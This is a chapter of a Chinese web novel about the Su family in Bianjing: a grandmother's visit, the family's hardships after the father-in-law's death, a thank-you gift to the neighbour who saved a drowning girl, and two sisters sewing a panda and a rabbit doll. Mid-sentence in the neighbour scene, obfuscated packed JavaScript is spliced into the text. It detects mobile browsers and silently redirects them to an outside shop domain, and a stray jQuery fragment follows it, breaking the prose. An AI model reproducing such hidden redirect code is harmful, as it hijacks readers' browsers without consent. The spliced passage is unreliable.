文趣网 > 其他小说 > 汴京苏家小娘子 > 5. 外婆
    第五章外婆

    王素贞先生气地瞪了女儿一眼,转头俯身从身旁的背篓里摸出一包松子,抓了一把递到小外孙面前。

    “琮儿,外婆和你阿娘说几句体己话,你去一旁吃松子玩耍,好不好?”王素贞语气温柔地哄着自己乖巧的小外孙。

    苏景琮双手捧着外婆给的松子,一双圆眼水灵灵的,透着乖巧,用力点头:“好!琮儿去院子里玩。”说罢便小心地捧着松子,转身哒哒哒地跑远了。

    等小外孙走后,王素贞脸上的温和才淡了些许。

    “是镇上肉铺的黄娘子那日碰巧也去踏春。我昨儿刚好去肉铺买肉,她同我闲聊时提了一嘴,说远远瞧着,有个落水的小娘子身影像咱家瑶娘。我昨夜心里一直惦念,睡也睡不安稳,索性今日便坐船过来瞧瞧。”

    她语气又心疼又来气:“孩子落水这般大的事,你怎么半字都不往娘家说?”

    顾知娴微微低头,指尖轻蹭鼻尖,心底带着几分心虚,小声道:“孩子回来发烧了,顾不上说,如今已经好了。”

    王素贞看着女儿身上的旧衣,以及眉眼间掩不住的憔悴,心头那点气慢慢消了,只剩满心怜惜,语气不由得软和下来。

    “承彦回乡守孝已有一年了。你独自在汴京拉扯四个孩子,本就艰难,哪里能事事都自己硬扛。”

    看到苏家眼下的光景,王素贞不由得暗自叹息。

    想当初,女儿刚嫁入苏家不久,亲家公苏维桢便升任了参知政事,举家搬进了皇城东侧的东府官舍。四个外孙也都是在官舍里降生的。亲家公虽然为官清廉,家中谈不上奢华,但那时家里好歹请了两个婆子并一个丫鬟伺候着,一家老小吃喝穿戴,样样不用发愁。

    可如今呢?

    汴京居,大不易。自打亲家公辞官,一家人搬出官舍,住进了武学巷这处宅子,境况便大不如前了。这宅子不单耗尽了亲家公大半的俸禄,连女婿承彦在向太尉府明德堂做西席先生、教书法丹青挣来的束修,也都填了进去。家底掏空了,仆从自然也请不起了。

    谁曾想,雪上加霜。搬来没多久,亲家公便一病不起,缠绵病榻整整两年。女婿女儿有孝心,为了让亲家公多活几日,汤药银钱流水般花出去,可终究还是在前年冬末,撒手人寰。

    王素贞敛去唏嘘,从怀中摸出布荷包,取出十两银子,轻轻搁在桌面。

    顾知娴一见,连忙推辞:“阿娘,这怎么行……”

    “让你收着,便收着。”王素贞语气温和道:“你那三个哥哥都孝顺。你大哥哪怕在临安做官,逢年过节礼数周全,平日里也常捎银子回来;你二哥的杂货铺生意好得很,每个月都把养老钱送过来;你三哥你也知道的,在酒楼掌勺,隔三岔五就能往家里带好菜。我手头宽裕得很,不缺这十两银子。”她不想让女儿有心理负担,便细细说了几个儿子的孝顺。

    “我们够用的!我平日里接绣活,珩哥儿也会抄书换钱贴补家用,日常开销足够,真的不需的。”顾知娴抬头看着亲娘,语气急切。

    听到女儿的拒绝,王素贞无奈苦笑,语气愈发恳切:“我方才瞧着,琮哥儿个子一直没怎么长。你不为自己着想,也得为四个孩子想。我是你阿娘,帮衬自家女儿,本就是天经地义。”

    听了娘亲的这番话,顾知娴鼻尖一酸,水光瞬间漫上眼底。她连忙垂下眼帘,不愿被娘亲看见。

    当年公公辞了官,按规制不该再留京了。是他上书恳请天子,天子才准他留下。他说这辈子最幸福的日子都在汴京,他和婆婆就是在这儿相遇、相知的,他的儿子孙辈们也是在汴京长大的,他想留着汴京生活。

    公公搬来武学巷的这处宅子后心情甚好,常带着几个孙儿在院子里画画下棋,说往后含饴弄孙,安享晚年,再没什么可愁的了。

    谁也未曾料到,搬来还没半年,不过一场寻常风寒,竟让公公一病不起。大夫说是早年身子亏空得太厉害,小病牵动了旧疾,让家里人早做准备。彦郎不信,特地去求了宫里派御医来看,说法也差不多,只说要好好养着,开了温补的方子,最好能用上人参。

    得知公公时日无多,夫妻俩觉得天都塌了,抱在一起痛哭了一场。哭完了,擦干眼泪,还得装作什么事都没有,瞒着公公。

    彦郎白日依旧前往向府授课,散馆回来就钻进书房画画,要么替达官贵人画肖像,要么替富商家画屏风,要么替寺庙画壁画……但凡能够换得银钱,他一概来者不拒。遇上休沐日,天还未亮便出门,常常作画直至深夜才归家,袖口沾满墨渍,有时候累得连筷子都握不稳。

    公公待她像亲闺女一样。为了凑医药费,她甚至把彦郎送她的首饰以及自己的嫁妆首饰都卖了,只留下一对银镯子,打算日后留给两个女儿。从前赴宴穿的绫罗衣裳,也都换了药钱。那段时间她在家照料公公和四个孩子,稳住后方,让彦郎在外能安心挣钱。

    夫妻二人用尽了全力,还是没能留住公公。

    那天许是回光返照,公公的精神格外好。他让彦郎帮着梳洗,换上了婆婆在世时亲手做的那套衣裳鞋袜,还陪着全家一起吃了顿饭。饭桌上说了好些话,精神头好得不像个病人。最后他笑着说,累了,要回床上躺一会儿。

    彦郎守在床边,声音带了哭腔:“阿爹,能不能别睡?”

    公公的声音已经很轻了。他说:“阿爹累了。你阿娘在等我。你阿娘走的时候还那么年轻,如今我头发也白了,人也老了,不知道她还能不能认出我,会不会嫌弃我年老色衰。”

    夫妻俩伏在床边,一时语塞,难过得说不出话来,只能连连摇头。好半天,才哽咽着挤出一句:“不会的,阿娘不会嫌弃您的。”

    公公笑了笑,说:“娴娘,以后承彦和这个家就拜托你了。”停了一会儿,声音更轻了,“真的累了,就让我睡吧。我要去陪你们娘亲了。”

    随后,含笑闭上了眼。

    家里当时一贫如洗,公公的同僚故交送了赙金来,好歹把丧事体面地办了下来。彦郎要扶灵回泉州安葬,几千里的盘缠,是公公生前几位至交加上她娘家三个哥哥凑的,拢共借了一百二十两。

    如今彦郎独自在泉州守孝,她一个人带着四个孩子在汴京度日。平日里接些绣活,珩哥儿抄书贴补家用,勉强够度日。

    这些事,顾知娴从不跟娘亲诉苦,再难也自己扛着,不肯让娘亲多操一分心。

    可知子莫若母,王素贞又怎会看不出?

    王素贞轻轻拍着她的背安抚,缓声道:“我去看看瑶娘。”

    说罢起身,熟门熟路往西厢房走去,留女儿一人在原地平复情绪。

    西厢房内,苏妙正安静地坐在窗边绣活。听见脚步声抬头,一见是外婆,眼底瞬间亮了起来,甜甜地唤了一声:“外婆!”

    听到妹妹叫外婆,苏瑶下意识抬头,看见外婆的一瞬间,整个人愣住了。王素贞站在门口,逆着光,那张脸——和她现代奶奶的脸几乎一模一样。接收原主记忆的时候她就知道了,可亲眼见到,冲击力完全不一样。她的眼眶猛地一酸,视线瞬间模糊了。

    苏瑶快步上前,张开双臂,牢牢抱住了王素贞,将脸埋进外婆怀中。

    王素贞被她这突如其来的举动弄得一愣,随即笑了,伸手回抱住她,手掌轻轻拍着她的背:“哎哟,我家瑶娘这是怎么啦?”

    苏瑶把脸埋在外婆肩头,用力吸了一口那熟悉的气息,才稳住情绪。她抬起头,努力扯出一个笑容:“没事,就是好久没见到外婆,太想你了。”

    说这句话的时候,脑海里浮起她现代奶奶的身影。

    在苏瑶读小学三年级的时候,她父母厌倦了没完没了的争吵,正式离婚了。两人分完了房子和家产,却在她的抚养问题上展开了新一轮的撕扯。最后是奶奶心软,把她接了过去。奶奶把所有的疼爱都给了她,可惜在她大二那年就走了,没能享上孙女一天福。

    这一直是她心里最深的遗憾。

    祖孙三人聊了约莫一刻钟,王素贞看了看天色,觉得时辰不早了,便起身告辞。顾知娴和苏瑶、苏妙想留她用午食,王素贞果断拒绝了:“家里一堆事等着我呢,得赶紧回去。要不然家里那些泼猴能上房揭瓦!”

    苏瑶和苏妙一想到那几个表哥,忍不住噗嗤笑出声来。

    四人一道送王素贞出门。

    “外婆,下次我回镇上看你哦。”苏景琮仰着头对外婆承诺。

    “好,外婆等着你来。”王素贞笑着应了一声,又看了看女儿和外孙女们,说了句“都进去吧,关好门,我走了”,便背着背篓快步离开了。

    娘亲走后,顾知娴收拾着她带来的东西。一篮子鸡蛋,新鲜的白菜,一包松子……还有那条用油纸裹着的猪肉。

    她站在桌边,看着那块肉,心里有了盘算。

    先出门去延真观附近的点心铺子,买了一包桂花糕。回来拎上肉,这才往葛大娘家走去。

    武学巷南段清静,越往北走,人声越密。这一带离街市近,沿路多是些一进的小宅子,院门挨着院门,烟火气足得很。

    顾知娴在一扇半旧的木门前停下,抬手轻轻叩了叩。

    里头很快传来脚步声,门一开,葛大娘一见是她,先是一愣,随即满脸堆笑:“哟,是顾娘子!快进来坐。”

    “大娘,我就不进去了。”顾知娴将手里的肉和点心双手递上前,语气诚恳,“那日我家瑶娘落水,多亏您跳下去把人救了上来。孩子回来发了高热,这两日我实在分身乏术,没能及时登门道谢,心里过意不去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834209|211372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得很。今日特来给大娘赔个不是,您千万别见怪。”

    葛大娘听她说得这般郑重,连连摆手:“顾娘子你这是做什么!顺手的事罢了。再说都是街坊邻居,碰上了哪有袖手旁观的道理?你家瑶娘没事就好!”

    “要不是葛大娘子您跳下水救了我家瑶娘,那孩子还不知道要在水里泡多久。”顾知娴语气真切,将手里的东西往前递了递,“东西虽不多,是我的一点心意,您别嫌弃。”

    葛大娘低头看了看那块肉,又看了看那包点心,忙道:“这怎么行!你家孩子多,日子也不宽裕,拿这东西来做什么?我不能收。”

    顾知娴没有收回手。

    “大娘体恤我,我明白。”她目光诚恳,声音不高,语气诚恳道:“可您若是不收,我心里反倒过不去。您就当给我个心安,成不成?”

    话说到这份上,葛大娘也不好再推辞。她接过肉和点心,感慨道:“那成,东西我厚着脸皮收下了。往后家里有什么难处,只管说一声。”

    顾知娴这才露出一点笑意,点了点头。

    两人又站在门边闲话了几句家常,巷子里陆续有人家升起炊烟,顾知娴便告辞了。

    葛大娘倚着门框目送她走远后,身子退后掩上了院门。

    苏瑶和苏妙回西厢房继续做布偶。

    苏瑶坐在椅子上穿针,引线,开始缝合。针尖穿过两层粗麻布,带出一截白线,手指捻着线尾轻轻拉紧,再扎下一针。

    说起来,她除了爱捣鼓吃食、拍拍小视频,闲暇时还喜欢做做小手工。一开始只是给自己做点小玩意儿。最初杯垫、小围裙缝得歪歪扭扭的,针脚不齐,慢慢上手之后就一发不可收拾,彻底成了个手工迷。后来有一阵子流行钩针,她跟风玩过;羊毛毡火的时候,她也买过材料包来戳。

    有段时间压力大,她特别喜欢刷萌宠视频——熊猫越狱、脑袋劈竹子、挑食不吃窝窝头拿来喂小鸟、趴树杈上睡着、下雨天不回家……翻来覆去看了不知道多少遍。于是戳了几只羊毛毡熊猫,圆滚滚、胖乎乎的。

    后来,她还迷上了手工制作复古布艺娃娃,有一阵子沉迷给娃娃做衣服。从简单的现代款吊带裙、半身裙、小背心练手,到后来越做越上瘾,专门买了一本教做娃衣的书来研究。手艺上来之后,碰巧那阵子网上流行给娃娃做古装,她也跟风做过几套。

    当时纯粹就是觉得好看,做着玩的,哪能想到有朝一日,这些手艺居然派上了用场。她一边想着,手上一刻没停。

    沿着画粉线一针一针往前缝,针脚细密均匀,缝到弧线处就慢下来,手指捏着布边一点一点调整角度。每条边缝完,打结,剪线,拿起下一片继续。

    苏妙绣好了正脸的五官,递给苏瑶。她接过来将正脸和后脑勺对齐,沿着边缝合,留出底部的返口。翻过面来,熊猫的脑袋便鼓了起来,圆圆的,已经能看出些憨态了。身子也是一样的做法。一片一片拼起来,缝好后翻面,轮廓渐渐成形——圆滚滚的,四肢粗短。

    姐妹俩合力往里填荞麦壳。苏妙撑着返口,苏瑶一把一把往里塞,填满了,拍匀实了,再把返口缝合。最后把脑袋和身子对接,缝牢,打结,收针。

    做好的熊猫身子圆滚滚,脑袋也圆滚滚,四肢短粗,一对大大的黑眼圈像没睡醒似的,憨态可掬。苏妙爱不释手地摸着熊猫布偶,小声说:“阿姐,这个太可爱了,我都舍不得卖了!”苏瑶看着妹妹不舍的样子,笑着捏捏她的脸:“那咱们就把它留下来。”

    苏妙低头看了看手里的熊猫,手指在它圆滚滚的肚子上轻轻按了按,还是摇了摇头。“不行,还是得卖。”

    苏瑶接着给角色兔子做衣裳。为了省布料,她把裙子做成连体假两件样式:上衣是鹅黄色的半袖衫,下身是一条竹青色的旋裙,裙子侧边缝了一条系带。给角色兔子套上裙子,把系带绑好固定,一只活灵活现的小兔娘便出现在眼前。苏妙看见穿好裙子的小兔娘,先是一愣,随即“哇”地一声凑过来。

    她拿起小兔娘,翻来覆去地看,一会儿摸摸鹅黄半袖,一会儿又拨拨那根系带,爱不释手。“你觉得小兔娘的身体比例有没有哪里需要调整的?”

    “没有,太可爱了!”她越看越喜欢,喜欢得不得了。她抬起一双圆圆的杏眼望向苏瑶。“阿姐,这个我也舍不得卖了,怎么办呀!”

    苏瑶正拿着画粉在布上描其他布偶的尺寸,听了这话,手下一顿,忍俊不禁地抬起头。

    “舍不得就多看两眼。”苏瑶笑着说,“以后阿姐给你做一堆,摆满你的床头。”

    苏妙用力点点头,又低头拨了拨小兔娘的裙摆,这才把它和熊猫并排放在桌子上。两只布偶挨在一起,一只憨态可掬,一只俏生生的,倒像是两个排排坐的小伙伴。